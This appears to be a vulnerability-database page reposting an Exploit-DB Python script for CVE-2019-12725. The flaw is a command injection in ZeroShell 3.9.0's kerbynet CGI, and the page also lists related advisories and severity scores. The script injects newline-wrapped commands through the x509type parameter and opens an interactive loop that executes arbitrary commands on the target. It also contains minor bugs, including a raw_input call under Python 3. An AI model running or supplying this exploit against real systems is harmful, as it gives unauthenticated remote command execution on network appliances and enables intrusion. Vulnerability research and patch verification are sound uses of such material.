ZeroShell 3.9.0 - Remote Command Execution

🗓️ 13 May 2021 00:00:00Reported by Fellipe OliveiraType

exploitdb🔗 www.exploit-db.com👁 170 Views

ZeroShell 3.9.0 Remote Command Execution via CG

Reporter	Title	Published	Views	Family All 23
0day.today	ZeroShell 3.9.0 - (cgi-bin/kerbynet) Remote Root Command Injection Exploit	24 Nov 202000:00	–	zdt
0day.today	ZeroShell 3.9.0 - Remote Command Execution Exploit	13 May 202100:00	–	zdt
GithubExploit	Exploit for OS Command Injection in Zeroshell	13 Jun 202123:57	–	githubexploit
GithubExploit	Exploit for OS Command Injection in Zeroshell	22 May 202105:06	–	githubexploit
GithubExploit	Exploit for OS Command Injection in Zeroshell	27 Apr 202103:36	–	githubexploit
ATTACKERKB	CVE-2019-12725	19 Jul 201900:00	–	attackerkb
Circl	CVE-2019-12725	19 Jul 202019:18	–	circl
CNVD	Zeroshell Remote Command Execution Vulnerability	23 Jul 201900:00	–	cnvd
Check Point Advisories	Zeroshell Remote Code Execution (CVE-2019-12725)	9 Sep 202000:00	–	checkpoint_advisories
CVE	CVE-2019-12725	19 Jul 201922:17	–	cve

# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution 
# Date: 10/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://zeroshell.org/
# Software Link: https://zeroshell.org/download/
# Version: < 3.9.0 
# Tested on: ZeroShell 3.9.0
# CVE : CVE-2019-12725

#!/usr/bin/python3

import requests
import optparse
import time

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')

options, args = parser.parse_args()
if not options.url:
    print('[+] Specify an url target')
    print('[+] Example usage: exploit.py -u http://target-uri/')
    print('[+] Example help usage: exploit.py -h')
    exit()

uri_zeroshell = options.url
session = requests.Session()

def command():
    try:
        check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'")
        if check.status_code == 200:
            flag = True
            print('[+] ZeroShell 3.9.0 Remote Command Execution')
            time.sleep(1)
            print('[+] Success connect to target')
            time.sleep(1)
            print('[+] Trying to execute command in ZeroShell OS...\n')
            time.sleep(1)
            check.raise_for_status()  

        while flag:
            cmd = raw_input("$ ")
            payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'"
            uri_vuln = uri_zeroshell + payload
            burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
            res = session.get(uri_vuln, headers=burp0_headers, verify=False)
            print(res.text[:res.text.rindex("<html>") / 2])

    except requests.exceptions.ConnectionError as err:
        print('[x] Failed to Connect in: '+uri_zeroshell+' ')
        print('[x] This host seems to be Down')
        exit()
    except requests.exceptions.HTTPError as conn:
        print('[x] Failed to execute command in: '+uri_zeroshell+' ')
        print('[x] This host does not appear to be a ZeroShell')
        exit()

command()

13 May 2021 00:00Current

9.8High risk

Vulners AI Score9.8

CVSS 39.8

CVSS 210

EPSS0.94178